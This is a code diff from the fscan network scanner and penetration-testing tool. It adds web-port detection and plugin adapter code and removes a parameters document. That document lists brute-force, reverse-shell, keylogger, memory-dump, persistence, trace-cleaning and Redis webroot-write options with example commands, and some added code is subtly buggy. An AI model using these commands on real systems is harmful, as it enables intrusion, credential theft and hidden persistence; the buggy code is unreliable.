|
// 2. 对于非常见端口,进行HTTP协议检测
|
||||||
|
return w.detectHTTPService(host, port)
|
||||||
|
}
|
||||||
|
|
||||||
|
// IsCommonWebPort 检查是否为常见Web端口
|
||||||
|
func (w *WebPortDetector) IsCommonWebPort(port int) bool {
|
||||||
|
return w.commonWebPorts[port]
|
||||||
|
}
|
||||||
|
|
||||||
|
// detectHTTPService 检测HTTP服务(轻量级探测)
|
||||||
|
func (w *WebPortDetector) detectHTTPService(host string, port int) bool {
|
||||||
|
// 创建检测上下文,避免长时间阻塞
|
||||||
|
ctx, cancel := context.WithTimeout(context.Background(), w.httpTimeout)
|
||||||
|
defer cancel()
|
||||||
|
|
||||||
|
// 尝试HTTP连接
|
||||||
|
if w.tryHTTPConnection(ctx, host, port, "http") {
|
||||||
|
return true
|
||||||
|
}
|
||||||
|
|
||||||
|
// 尝试HTTPS连接(对于高端口常见)
|
||||||
|
if w.tryHTTPConnection(ctx, host, port, "https") {
|
||||||
|
return true
|
||||||
|
}
|
||||||
|
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
|
||||||
|
// tryHTTPConnection 尝试HTTP连接
|
||||||
|
func (w *WebPortDetector) tryHTTPConnection(ctx context.Context, host string, port int, protocol string) bool {
|
||||||
|
url := ""
|
||||||
|
if port == 80 && protocol == "http" {
|
||||||
|
url = "http://" + host
|
||||||
|
} else if port == 443 && protocol == "https" {
|
||||||
|
url = "https://" + host
|
||||||
|
} else {
|
||||||
|
url = protocol + "://" + host + ":" + string(rune(port))
|
||||||
|
}
|
||||||
|
|
||||||
|
// 创建HTTP客户端,快速检测
|
||||||
|
client := &http.Client{
|
||||||
|
Timeout: w.httpTimeout,
|
||||||
|
Transport: &http.Transport{
|
||||||
|
DialContext: (&net.Dialer{
|
||||||
|
Timeout: w.httpTimeout,
|
||||||
|
}).DialContext,
|
||||||
|
TLSHandshakeTimeout: w.httpTimeout,
|
||||||
|
ResponseHeaderTimeout: w.httpTimeout,
|
||||||
|
DisableKeepAlives: true,
|
||||||
|
},
|
||||||
|
CheckRedirect: func(req *http.Request, via []*http.Request) error {
|
||||||
|
return http.ErrUseLastResponse // 不跟随重定向,加快检测速度
|
||||||
|
},
|
||||||
|
}
|
||||||
|
|
||||||
|
// 发送HEAD请求,最小化网络开销
|
||||||
|
req, err := http.NewRequestWithContext(ctx, "HEAD", url, nil)
|
||||||
|
if err != nil {
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
|
||||||
|
req.Header.Set("User-Agent", "fscan-web-detector/2.0")
|
||||||
|
|
||||||
|
resp, err := client.Do(req)
|
||||||
|
if err != nil {
|
||||||
|
// 检查错误类型,某些错误也表明是HTTP服务
|
||||||
|
errStr := strings.ToLower(err.Error())
|
||||||
|
if strings.Contains(errStr, "http") ||
|
||||||
|
strings.Contains(errStr, "malformed http") ||
|
||||||
|
strings.Contains(errStr, "server closed") {
|
||||||
|
return true
|
||||||
|
}
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
defer resp.Body.Close()
|
||||||
|
|
||||||
|
// 任何HTTP响应都表明这是Web服务
|
||||||
|
return resp.StatusCode > 0
|
||||||
|
}
|
||||||
|
|
||||||
|
// GetCommonWebPorts 获取常见Web端口列表
|
||||||
|
func (w *WebPortDetector) GetCommonWebPorts() []int {
|
||||||
|
ports := make([]int, 0, len(w.commonWebPorts))
|
||||||
|
for port := range w.commonWebPorts {
|
||||||
|
ports = append(ports, port)
|
||||||
|
}
|
||||||
|
return ports
|
||||||
|
}
|
@ -1,8 +1,6 @@
|
|||||||
package core
|
package core
|
||||||
|
|
||||||
import (
|
import (
|
||||||
"fmt"
|
|
||||||
"net/url"
|
|
||||||
"github.com/shadow1ng/fscan/common"
|
"github.com/shadow1ng/fscan/common"
|
||||||
"github.com/shadow1ng/fscan/common/i18n"
|
"github.com/shadow1ng/fscan/common/i18n"
|
||||||
"strings"
|
"strings"
|
||||||
@ -56,55 +54,16 @@ func (s *WebScanStrategy) Execute(info common.HostInfo, ch *chan struct{}, wg *s
|
|||||||
func (s *WebScanStrategy) PrepareTargets(baseInfo common.HostInfo) []common.HostInfo {
|
func (s *WebScanStrategy) PrepareTargets(baseInfo common.HostInfo) []common.HostInfo {
|
||||||
var targetInfos []common.HostInfo
|
var targetInfos []common.HostInfo
|
||||||
|
|
||||||
// 首先从common.URLs获取目标
|
for _, url := range common.URLs {
|
||||||
for _, urlStr := range common.URLs {
|
urlInfo := baseInfo
|
||||||
urlInfo := s.createTargetFromURL(baseInfo, urlStr)
|
// 确保URL包含协议头
|
||||||
if urlInfo != nil {
|
if !strings.HasPrefix(url, "http://") && !strings.HasPrefix(url, "https://") {
|
||||||
targetInfos = append(targetInfos, *urlInfo)
|
url = "http://" + url
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// 如果common.URLs为空但baseInfo.Url有值,使用baseInfo.Url
|
|
||||||
if len(targetInfos) == 0 && baseInfo.Url != "" {
|
|
||||||
urlInfo := s.createTargetFromURL(baseInfo, baseInfo.Url)
|
|
||||||
if urlInfo != nil {
|
|
||||||
targetInfos = append(targetInfos, *urlInfo)
|
|
||||||
}
|
}
|
||||||
|
urlInfo.Url = url
|
||||||
|
targetInfos = append(targetInfos, urlInfo)
|
||||||
}
|
}
|
||||||
|
|
||||||
return targetInfos
|
return targetInfos
|
||||||
}
|
}
|
||||||
|
|
||||||
// createTargetFromURL 从URL创建目标信息
|
|
||||||
func (s *WebScanStrategy) createTargetFromURL(baseInfo common.HostInfo, urlStr string) *common.HostInfo {
|
|
||||||
// 确保URL包含协议头
|
|
||||||
if !strings.HasPrefix(urlStr, "http://") && !strings.HasPrefix(urlStr, "https://") {
|
|
||||||
urlStr = "http://" + urlStr
|
|
||||||
}
|
|
||||||
|
|
||||||
// 解析URL获取Host和Port信息
|
|
||||||
parsedURL, err := url.Parse(urlStr)
|
|
||||||
if err != nil {
|
|
||||||
common.LogError(fmt.Sprintf("解析URL失败: %s - %v", urlStr, err))
|
|
||||||
return nil
|
|
||||||
}
|
|
||||||
|
|
||||||
urlInfo := baseInfo
|
|
||||||
urlInfo.Url = urlStr
|
|
||||||
urlInfo.Host = parsedURL.Hostname()
|
|
||||||
|
|
||||||
// 设置端口
|
|
||||||
port := parsedURL.Port()
|
|
||||||
if port == "" {
|
|
||||||
// 根据协议设置默认端口
|
|
||||||
if parsedURL.Scheme == "https" {
|
|
||||||
port = "443"
|
|
||||||
} else {
|
|
||||||
port = "80"
|
|
||||||
}
|
|
||||||
}
|
|
||||||
urlInfo.Ports = port
|
|
||||||
|
|
||||||
return &urlInfo
|
|
||||||
}
|
|
||||||
|
|
262
PARAMETERS.md
262
PARAMETERS.md
@ -1,262 +0,0 @@
|
|||||||
# Fscan 参数说明文档
|
|
||||||
|
|
||||||
**版本**: v2.2.1
|
|
||||||
**分支**: v2.2.1
|
|
||||||
|
|
||||||
## 基础扫描参数
|
|
||||||
|
|
||||||
### 目标指定
|
|
||||||
| 参数 | 说明 | 默认值 | 示例 |
|
|
||||||
|------|------|--------|------|
|
|
||||||
| `-h` | 目标主机: IP, IP段, IP段文件, 域名, **支持host:port格式** | - | `-h 192.168.1.1/24` 或 `-h 127.0.0.1:135` |
|
|
||||||
| `-hf` | 主机文件 | - | `-hf hosts.txt` |
|
|
||||||
| `-u` | 目标URL | - | `-u http://example.com` |
|
|
||||||
| `-uf` | URL文件 | - | `-uf urls.txt` |
|
|
||||||
| `-domain` | 域名 | - | `-domain example.com` |
|
|
||||||
|
|
||||||
### 端口扫描
|
|
||||||
| 参数 | 说明 | 默认值 | 示例 |
|
|
||||||
|------|------|--------|------|
|
|
||||||
| `-p` | 端口扫描范围 | 1000个常用端口 | `-p 1-65535` |
|
|
||||||
| `-pf` | 端口文件 | - | `-pf ports.txt` |
|
|
||||||
| `-ep` | 排除端口 | - | `-ep 80,443` |
|
|
||||||
| `-t` | 端口扫描线程数 | 600 | `-t 1000` |
|
|
||||||
| `-time` | 端口扫描超时时间 | 3秒 | `-time 5` |
|
|
||||||
|
|
||||||
### 扫描模式
|
|
||||||
| 参数 | 说明 | 默认值 | 示例 |
|
|
||||||
|------|------|--------|------|
|
|
||||||
| `-m` | 扫描模式: all(全部), icmp(存活探测), 或指定插件名称 | all | `-m icmp` |
|
|
||||||
| `-ao` | 仅进行存活探测 | - | `-ao` |
|
|
||||||
| `-full` | 全量POC扫描 | - | `-full` |
|
|
||||||
| `-np` | 禁用ping探测 | - | `-np` |
|
|
||||||
|
|
||||||
## 认证参数
|
|
||||||
|
|
||||||
### 用户凭据
|
|
||||||
| 参数 | 说明 | 默认值 | 示例 |
|
|
||||||
|------|------|--------|------|
|
|
||||||
| `-user` | 用户名 | - | `-user admin` |
|
|
||||||
| `-usera` | 额外用户名 | - | `-usera root,administrator` |
|
|
||||||
| `-userf` | 用户名字典文件 | - | `-userf users.txt` |
|
|
||||||
| `-pwd` | 密码 | - | `-pwd 123456` |
|
|
||||||
| `-pwda` | 额外密码 | - | `-pwda password,admin` |
|
|
||||||
| `-pwdf` | 密码字典文件 | - | `-pwdf pass.txt` |
|
|
||||||
| `-hash` | 哈希值 | - | `-hash ntlm_hash` |
|
|
||||||
| `-hashf` | 哈希文件 | - | `-hashf hashes.txt` |
|
|
||||||
| `-sshkey` | SSH私钥文件 | - | `-sshkey id_rsa` |
|
|
||||||
|
|
||||||
## 网络配置
|
|
||||||
|
|
||||||
### HTTP设置
|
|
||||||
| 参数 | 说明 | 默认值 | 示例 |
|
|
||||||
|------|------|--------|------|
|
|
||||||
| `-cookie` | HTTP Cookie | - | `-cookie "session=abc123"` |
|
|
||||||
| `-proxy` | HTTP代理 | - | `-proxy http://127.0.0.1:8080` |
|
|
||||||
| `-socks5` | SOCKS5代理(支持所有服务扫描) | - | `-socks5 127.0.0.1:1080` |
|
|
||||||
| `-start-socks5` | 启动SOCKS5代理服务器端口 | - | `-start-socks5 1080` |
|
|
||||||
| `-wt` | Web超时时间 | 5秒 | `-wt 10` |
|
|
||||||
|
|
||||||
## POC扫描
|
|
||||||
|
|
||||||
### POC配置
|
|
||||||
| 参数 | 说明 | 默认值 | 示例 |
|
|
||||||
|------|------|--------|------|
|
|
||||||
| `-pocname` | POC名称 | - | `-pocname ms17-010` |
|
|
||||||
| `-pocpath` | POC脚本路径 | - | `-pocpath ./pocs/` |
|
|
||||||
| `-num` | POC并发数 | 20 | `-num 50` |
|
|
||||||
| `-nopoc` | 禁用POC扫描 | - | `-nopoc` |
|
|
||||||
|
|
||||||
## 高级功能
|
|
||||||
|
|
||||||
### Redis操作
|
|
||||||
| 参数 | 说明 | 默认值 | 示例 |
|
|
||||||
|------|------|--------|------|
|
|
||||||
| `-rf` | Redis文件 | - | `-rf redis.txt` |
|
|
||||||
| `-rs` | Redis Shell | - | `-rs "echo test"` |
|
|
||||||
| `-rwf` | Redis写入文件 | - | `-rwf /tmp/test.txt` |
|
|
||||||
| `-rwp` | Redis写入路径 | - | `-rwp /var/www/html/` |
|
|
||||||
| `-rwc` | Redis写入内容 | - | `-rwc "<?php phpinfo(); ?>"` |
|
|
||||||
|
|
||||||
### Shell功能
|
|
||||||
| 参数 | 说明 | 默认值 | 示例 |
|
|
||||||
|------|------|--------|------|
|
|
||||||
| `-rsh` | 反弹Shell目标地址:端口 | - | `-rsh 192.168.1.100:4444` |
|
|
||||||
| `-fsh-port` | 启动正向Shell服务器端口 | 4444 | `-fsh-port 8888` |
|
|
||||||
| `-sc` | Shellcode | - | `-sc payload` |
|
|
||||||
|
|
||||||
### 新增功能改进
|
|
||||||
- **智能目标识别**: `-h`参数现在支持直接指定`host:port`格式,如`-h 192.168.1.1:3306`
|
|
||||||
- **优化扫描逻辑**: 当使用`host:port`格式时,自动跳过不必要的端口扫描,直接进行服务检测
|
|
||||||
- **SOCKS5全面支持**: SOCKS5代理现已支持所有服务扫描类型,包括数据库和SSH等服务
|
|
||||||
|
|
||||||
**代理支持范围:**
|
|
||||||
- **HTTP代理** (`-proxy`): 仅支持Web扫描
|
|
||||||
- **SOCKS5代理** (`-socks5`): 支持所有服务扫描(MySQL、PostgreSQL、Redis、SSH等)和Web扫描
|
|
||||||
- **代理失败处理**: 当代理连接失败时,自动回退到直连模式
|
|
||||||
|
|
||||||
## 本地插件系统
|
|
||||||
|
|
||||||
### 本地模式
|
|
||||||
| 参数 | 说明 | 默认值 | 示例 |
|
|
||||||
|------|------|--------|------|
|
|
||||||
| `-local` | 指定本地插件名称 | - | `-local cleaner` |
|
|
||||||
|
|
||||||
### 可用本地插件
|
|
||||||
| 插件名 | 功能说明 | 平台支持 |
|
|
||||||
|--------|----------|----------|
|
|
||||||
| `avdetect` | 杀毒软件检测 | Windows/Linux/macOS |
|
|
||||||
| `fileinfo` | 文件信息收集 | Windows/Linux/macOS |
|
|
||||||
| `dcinfo` | 域控信息收集 | Windows/Linux/macOS |
|
|
||||||
| `minidump` | 内存转储 | Windows |
|
|
||||||
| `reverseshell` | 反弹Shell | Windows/Linux/macOS |
|
|
||||||
| `socks5proxy` | SOCKS5代理 | Windows/Linux/macOS |
|
|
||||||
| `forwardshell` | 正向Shell | Windows/Linux/macOS |
|
|
||||||
| `ldpreload` | Linux LD_PRELOAD持久化 | Linux |
|
|
||||||
| `shellenv` | Shell环境变量持久化 | Linux |
|
|
||||||
| `crontask` | Cron计划任务持久化 | Linux |
|
|
||||||
| `systemdservice` | Systemd服务持久化 | Linux |
|
|
||||||
| `winregistry` | Windows注册表持久化 | Windows |
|
|
||||||
| `winstartup` | Windows启动文件夹持久化 | Windows |
|
|
||||||
| `winschtask` | Windows计划任务持久化 | Windows |
|
|
||||||
| `winservice` | Windows服务持久化 | Windows |
|
|
||||||
| `winwmi` | Windows WMI事件订阅持久化 | Windows |
|
|
||||||
| `keylogger` | 跨平台键盘记录 | Windows/Linux/macOS |
|
|
||||||
| `downloader` | 跨平台文件下载 | Windows/Linux/macOS |
|
|
||||||
| `cleaner` | 跨平台系统痕迹清理 | Windows/Linux/macOS |
|
|
||||||
|
|
||||||
### 插件特定参数
|
|
||||||
| 参数 | 说明 | 适用插件 | 示例 |
|
|
||||||
|------|------|----------|------|
|
|
||||||
| `-keylog-output` | 键盘记录输出文件路径 | keylogger | `-keylog-output keylog.txt` |
|
|
||||||
| `-download-url` | 要下载的文件URL | downloader | `-download-url http://example.com/file.exe` |
|
|
||||||
| `-download-path` | 下载文件保存路径 | downloader | `-download-path /tmp/` |
|
|
||||||
| `-persistence-file` | Linux持久化目标文件路径 | ldpreload, shellenv 等 | `-persistence-file target.elf` |
|
|
||||||
| `-win-pe` | Windows持久化目标PE文件路径 | Windows持久化插件 | `-win-pe target.exe` |
|
|
||||||
|
|
||||||
## 输出控制
|
|
||||||
|
|
||||||
### 输出格式
|
|
||||||
| 参数 | 说明 | 默认值 | 示例 |
|
|
||||||
|------|------|--------|------|
|
|
||||||
| `-o` | 输出文件 | result.txt | `-o scan_result.txt` |
|
|
||||||
| `-f` | 输出格式: txt, json, csv | txt | `-f json` |
|
|
||||||
|
|
||||||
### 显示控制
|
|
||||||
| 参数 | 说明 | 默认值 | 示例 |
|
|
||||||
|------|------|--------|------|
|
|
||||||
| `-silent` | 静默模式 | - | `-silent` |
|
|
||||||
| `-nocolor` | 禁用颜色输出 | - | `-nocolor` |
|
|
||||||
| `-nopg` | 禁用进度条 | - | `-nopg` |
|
|
||||||
| `-no` | 禁用结果保存 | - | `-no` |
|
|
||||||
|
|
||||||
## 系统配置
|
|
||||||
|
|
||||||
### 线程与超时
|
|
||||||
| 参数 | 说明 | 默认值 | 示例 |
|
|
||||||
|------|------|--------|------|
|
|
||||||
| `-mt` | 模块线程数 | 50 | `-mt 100` |
|
|
||||||
| `-gt` | 全局超时时间 | 180秒 | `-gt 300` |
|
|
||||||
| `-retry` | 最大重试次数 | 3 | `-retry 5` |
|
|
||||||
|
|
||||||
### 功能开关
|
|
||||||
| 参数 | 说明 | 默认值 | 示例 |
|
|
||||||
|------|------|--------|------|
|
|
||||||
| `-nobr` | 禁用暴力破解 | - | `-nobr` |
|
|
||||||
| `-fp` | 启用指纹识别 | - | `-fp` |
|
|
||||||
| `-dns` | DNS日志记录 | - | `-dns` |
|
|
||||||
|
|
||||||
### 排除设置
|
|
||||||
| 参数 | 说明 | 默认值 | 示例 |
|
|
||||||
|------|------|--------|------|
|
|
||||||
| `-eh` | 排除主机 | - | `-eh 192.168.1.1,192.168.1.2` |
|
|
||||||
|
|
||||||
### 语言与帮助
|
|
||||||
| 参数 | 说明 | 默认值 | 示例 |
|
|
||||||
|------|------|--------|------|
|
|
||||||
| `-lang` | 语言: zh, en | zh | `-lang en` |
|
|
||||||
| `-log` | 日志级别 | BASE_INFO_SUCCESS | `-log DEBUG` |
|
|
||||||
| `-help` | 显示帮助信息 | - | `-help` |
|
|
||||||
|
|
||||||
## 使用示例
|
|
||||||
|
|
||||||
### 基础扫描
|
|
||||||
```bash
|
|
||||||
# 扫描单个IP
|
|
||||||
go run main.go -h 192.168.1.1
|
|
||||||
|
|
||||||
# 扫描IP段
|
|
||||||
go run main.go -h 192.168.1.1/24
|
|
||||||
|
|
||||||
# 直接扫描指定主机和端口 (新功能)
|
|
||||||
go run main.go -h 127.0.0.1:135
|
|
||||||
|
|
||||||
# 从文件读取目标
|
|
||||||
go run main.go -hf targets.txt
|
|
||||||
|
|
||||||
# 仅存活探测
|
|
||||||
go run main.go -h 192.168.1.1/24 -ao
|
|
||||||
```
|
|
||||||
|
|
||||||
### 本地插件使用
|
|
||||||
```bash
|
|
||||||
# 系统痕迹清理
|
|
||||||
go run main.go -local cleaner
|
|
||||||
|
|
||||||
# 杀毒软件检测
|
|
||||||
go run main.go -local avdetect
|
|
||||||
|
|
||||||
# 键盘记录
|
|
||||||
go run main.go -local keylogger -keylog-output my_keylog.txt
|
|
||||||
|
|
||||||
# 文件下载
|
|
||||||
go run main.go -local downloader -download-url http://example.com/file.exe -download-path /tmp/
|
|
||||||
|
|
||||||
# Windows注册表持久化
|
|
||||||
go run main.go -local winregistry -win-pe target.exe
|
|
||||||
```
|
|
||||||
|
|
||||||
### 高级扫描
|
|
||||||
```bash
|
|
||||||
# 全量POC扫描
|
|
||||||
go run main.go -h 192.168.1.1/24 -full
|
|
||||||
|
|
||||||
# 使用HTTP代理
|
|
||||||
go run main.go -h 192.168.1.1 -proxy http://127.0.0.1:8080
|
|
||||||
|
|
||||||
# 使用SOCKS5代理进行服务扫描
|
|
||||||
go run main.go -h 192.168.1.1 -socks5 127.0.0.1:1080
|
|
||||||
|
|
||||||
# 直接扫描MySQL服务 (新功能 - 优化扫描流程)
|
|
||||||
go run main.go -h 192.168.1.1:3306 -socks5 127.0.0.1:1080
|
|
||||||
|
|
||||||
# 启动SOCKS5代理服务器
|
|
||||||
go run main.go -start-socks5 1080
|
|
||||||
|
|
||||||
# Web应用扫描
|
|
||||||
go run main.go -u http://127.0.0.1:8080
|
|
||||||
|
|
||||||
# 暴力破解
|
|
||||||
go run main.go -h 192.168.1.1 -user admin -pwd password
|
|
||||||
|
|
||||||
# 输出JSON格式
|
|
||||||
go run main.go -h 192.168.1.1 -f json -o result.json
|
|
||||||
```
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## 版本更新说明 (v2.2.1)
|
|
||||||
|
|
||||||
### 新增功能
|
|
||||||
- **智能目标解析**: `-h`参数现在支持`host:port`格式,如`-h 127.0.0.1:135`
|
|
||||||
- **优化扫描流程**: 对于明确指定的host:port目标,跳过常规端口扫描,直接进行服务检测
|
|
||||||
- **统一结果显示**: 修复了端口扫描结果显示不一致的问题
|
|
||||||
|
|
||||||
### 改进项目
|
|
||||||
- 提升用户体验,支持更灵活的目标指定方式
|
|
||||||
- 优化扫描性能,减少不必要的网络请求
|
|
||||||
- 增强目标地址验证逻辑,支持更多输入格式
|
|
||||||
|
|
||||||
**总计参数数量**: 70个命令行参数 + 19个本地插件
|
|
||||||
**更新时间**: 2025-08-12
|
|
||||||
**版本**: v2.2.1
|
|
165
Plugins/adapters/plugin_adapter.go
Normal file
165
Plugins/adapters/plugin_adapter.go
Normal file
@ -0,0 +1,165 @@
|
|||||||
|
package adapters
|
||||||
|
|
||||||
|
import (
|
||||||
|
"context"
|
||||||
|
"fmt"
|
||||||
|
"github.com/shadow1ng/fscan/common"
|
||||||
|
"github.com/shadow1ng/fscan/common/i18n"
|
||||||
|
"github.com/shadow1ng/fscan/common/output"
|
||||||
|
"github.com/shadow1ng/fscan/plugins/base"
|
||||||
|
"time"
|
||||||
|
|
||||||
|
// 导入新插件以触发注册
|
||||||
|
_ "github.com/shadow1ng/fscan/plugins/services/mysql"
|
||||||
|
_ "github.com/shadow1ng/fscan/plugins/services/redis"
|
||||||
|
_ "github.com/shadow1ng/fscan/plugins/services/ssh"
|
||||||
|
)
|
||||||
|
|
||||||
|
// PluginAdapter 插件适配器,将新插件架构与旧系统集成
|
||||||
|
type PluginAdapter struct {
|
||||||
|
registry *base.PluginRegistry
|
||||||
|
}
|
||||||
|
|
||||||
|
// NewPluginAdapter 创建插件适配器
|
||||||
|
func NewPluginAdapter() *PluginAdapter {
|
||||||
|
return &PluginAdapter{
|
||||||
|
registry: base.GlobalPluginRegistry,
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// AdaptPluginScan 适配插件扫描调用
|
||||||
|
// 将传统的插件扫描函数调用转换为新架构的插件调用
|
||||||
|
func (a *PluginAdapter) AdaptPluginScan(pluginName string, info *common.HostInfo) error {
|
||||||
|
// 创建插件实例
|
||||||
|
plugin, err := a.registry.Create(pluginName)
|
||||||
|
if err != nil {
|
||||||
|
// 如果新架构中没有该插件,返回错误让旧系统处理
|
||||||
|
return fmt.Errorf("plugin %s not found in new architecture: %v", pluginName, err)
|
||||||
|
}
|
||||||
|
|
||||||
|
// 初始化插件
|
||||||
|
if err := plugin.Initialize(); err != nil {
|
||||||
|
return fmt.Errorf("plugin %s initialization failed: %v", pluginName, err)
|
||||||
|
}
|
||||||
|
|
||||||
|
// 设置全局超时上下文
|
||||||
|
ctx, cancel := context.WithTimeout(context.Background(), time.Duration(common.GlobalTimeout)*time.Second)
|
||||||
|
defer cancel()
|
||||||
|
|
||||||
|
// 执行扫描
|
||||||
|
result, err := plugin.Scan(ctx, info)
|
||||||
|
if err != nil {
|
||||||
|
common.LogError(fmt.Sprintf("Plugin %s scan failed: %v", pluginName, err))
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
|
||||||
|
// 如果扫描成功,记录结果
|
||||||
|
if result != nil && result.Success {
|
||||||
|
target := fmt.Sprintf("%s:%s", info.Host, info.Ports)
|
||||||
|
|
||||||
|
// 适配器层不输出扫描结果,由插件层负责输出
|
||||||
|
// 这避免了重复输出的问题
|
||||||
|
common.LogDebug(fmt.Sprintf("插件 %s 适配成功: %s", pluginName, target))
|
||||||
|
|
||||||
|
// 保存结果到文件
|
||||||
|
a.saveResult(info, result, pluginName)
|
||||||
|
|
||||||
|
// 如果有漏洞信息,也记录下来
|
||||||
|
for _, vuln := range result.Vulnerabilities {
|
||||||
|
common.LogError(fmt.Sprintf("%s vulnerability found: %s - %s",
|
||||||
|
pluginName, vuln.ID, vuln.Description))
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// saveResult 保存扫描结果
|
||||||
|
func (a *PluginAdapter) saveResult(info *common.HostInfo, result *base.ScanResult, pluginName string) {
|
||||||
|
// 使用原有的结果保存机制
|
||||||
|
|
||||||
|
vulnResult := &output.ScanResult{
|
||||||
|
Time: time.Now(),
|
||||||
|
Type: output.TypeVuln,
|
||||||
|
Target: info.Host,
|
||||||
|
Status: "vulnerable",
|
||||||
|
Details: map[string]interface{}{
|
||||||
|
"plugin": pluginName,
|
||||||
|
"port": info.Ports,
|
||||||
|
"host": info.Host,
|
||||||
|
},
|
||||||
|
}
|
||||||
|
|
||||||
|
if len(result.Credentials) > 0 {
|
||||||
|
cred := result.Credentials[0]
|
||||||
|
if cred.Username != "" {
|
||||||
|
vulnResult.Details["username"] = cred.Username
|
||||||
|
vulnResult.Details["password"] = cred.Password
|
||||||
|
vulnResult.Details["credentials"] = fmt.Sprintf("%s:%s", cred.Username, cred.Password)
|
||||||
|
} else {
|
||||||
|
vulnResult.Details["password"] = cred.Password
|
||||||
|
vulnResult.Details["credentials"] = cred.Password
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
// 未授权访问
|
||||||
|
vulnResult.Details["type"] = "unauthorized"
|
||||||
|
}
|
||||||
|
|
||||||
|
// 保存结果
|
||||||
|
common.SaveResult(vulnResult)
|
||||||
|
}
|
||||||
|
|
||||||
|
// IsPluginSupported 检查插件是否在新架构中支持
|
||||||
|
func (a *PluginAdapter) IsPluginSupported(pluginName string) bool {
|
||||||
|
plugins := a.registry.GetAll()
|
||||||
|
for _, name := range plugins {
|
||||||
|
if name == pluginName {
|
||||||
|
return true
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
|
||||||
|
// GetSupportedPlugins 获取新架构支持的插件列表
|
||||||
|
func (a *PluginAdapter) GetSupportedPlugins() []string {
|
||||||
|
return a.registry.GetAll()
|
||||||
|
}
|
||||||
|
|
||||||
|
// GetPluginMetadata 获取插件元数据
|
||||||
|
func (a *PluginAdapter) GetPluginMetadata(pluginName string) (*base.PluginMetadata, error) {
|
||||||
|
metadata := a.registry.GetMetadata(pluginName)
|
||||||
|
if metadata == nil {
|
||||||
|
return nil, fmt.Errorf("plugin %s not found", pluginName)
|
||||||
|
}
|
||||||
|
return metadata, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// =============================================================================
|
||||||
|
// 全局适配器实例
|
||||||
|
// =============================================================================
|
||||||
|
|
||||||
|
// GlobalAdapter 全局插件适配器实例
|
||||||
|
var GlobalAdapter = NewPluginAdapter()
|
||||||
|
|
||||||
|
// =============================================================================
|
||||||
|
// 便捷函数
|
||||||
|
// =============================================================================
|
||||||
|
|
||||||
|
// TryNewArchitecture 尝试使用新架构执行插件扫描
|
||||||
|
// 如果新架构支持该插件,则使用新架构;否则返回false让调用方使用旧插件
|
||||||
|
func TryNewArchitecture(pluginName string, info *common.HostInfo) bool {
|
||||||
|
if !GlobalAdapter.IsPluginSupported(pluginName) {
|
||||||
|
common.LogDebug(i18n.GetText("plugin_legacy_using", pluginName))
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
|
||||||
|
common.LogDebug(i18n.GetText("plugin_new_arch_trying", pluginName))
|
||||||
|
err := GlobalAdapter.AdaptPluginScan(pluginName, info)
|
||||||
|
if err != nil {
|
||||||
|
common.LogError(i18n.GetText("plugin_new_arch_fallback", pluginName, err))
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
|
||||||
|
common.LogDebug(i18n.GetText("plugin_new_arch_success", pluginName))
|
||||||
|
return true
|
||||||
|
}
|
@ -264,4 +264,46 @@ func GenerateCredentials(usernames []string, passwords []string) []*Credential {
|
|||||||
return credentials
|
return credentials
|
||||||
}
|
}
|
||||||
|
|
||||||
// 已移除未使用的 GeneratePasswordOnlyCredentials 方法
|
// GeneratePasswordOnlyCredentials 生成仅密码的凭据列表(如Redis)
|
||||||
|
func GeneratePasswordOnlyCredentials(passwords []string) []*Credential {
|
||||||
|
var credentials []*Credential
|
||||||
|
|
||||||
|
for _, password := range passwords {
|
||||||
|
credentials = append(credentials, &Credential{
|
||||||
|
Password: password,
|
||||||
|
Extra: make(map[string]string),
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|
||||||
|
return credentials
|
||||||
|
}
|
||||||
|
|
||||||
|
// =============================================================================
|
||||||
|
// 结果处理工具
|
||||||
|
// =============================================================================
|
||||||
|
|
||||||
|
// SaveScanResult 保存扫描结果到通用输出系统
|
||||||
|
func SaveScanResult(info *common.HostInfo, result *ScanResult, pluginName string) {
|
||||||
|
if result == nil || !result.Success {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
target := fmt.Sprintf("%s:%d", info.Host, info.Ports)
|
||||||
|
|
||||||
|
// 保存成功的凭据
|
||||||
|
for _, cred := range result.Credentials {
|
||||||
|
var message string
|
||||||
|
if cred.Username != "" && cred.Password != "" {
|
||||||
|
message = fmt.Sprintf("%s %s %s %s", pluginName, target, cred.Username, cred.Password)
|
||||||
|
} else if cred.Password != "" {
|
||||||
|
message = fmt.Sprintf("%s %s [密码] %s", pluginName, target, cred.Password)
|
||||||
|
} else {
|
||||||
|
message = fmt.Sprintf("%s %s 未授权访问", pluginName, target)
|
||||||
|
}
|
||||||
|
|
||||||
|
common.LogSuccess(message)
|
||||||
|
|
||||||
|
// 保存到输出系统的详细实现...
|
||||||
|
// 这里可以调用common.SaveResult等函数
|
||||||
|
}
|
||||||
|
}
|
@ -1,6 +1,7 @@
|
|||||||
package Plugins
|
package Plugins
|
||||||
|
|
||||||
import (
|
import (
|
||||||
|
"bytes"
|
||||||
"crypto/aes"
|
"crypto/aes"
|
||||||
"crypto/cipher"
|
"crypto/cipher"
|
||||||
"encoding/base64"
|
"encoding/base64"
|
||||||
@ -43,6 +44,32 @@ func ReadBytes(conn net.Conn) ([]byte, error) {
|
|||||||
// 默认AES加密密钥
|
// 默认AES加密密钥
|
||||||
var key = "0123456789abcdef"
|
var key = "0123456789abcdef"
|
||||||
|
|
||||||
|
// AesEncrypt 使用AES-CBC模式加密字符串
|
||||||
|
func AesEncrypt(orig string, key string) (string, error) {
|
||||||
|
// 转为字节数组
|
||||||
|
origData := []byte(orig)
|
||||||
|
keyBytes := []byte(key)
|
||||||
|
|
||||||
|
// 创建加密块,要求密钥长度必须为16/24/32字节
|
||||||
|
block, err := aes.NewCipher(keyBytes)
|
||||||
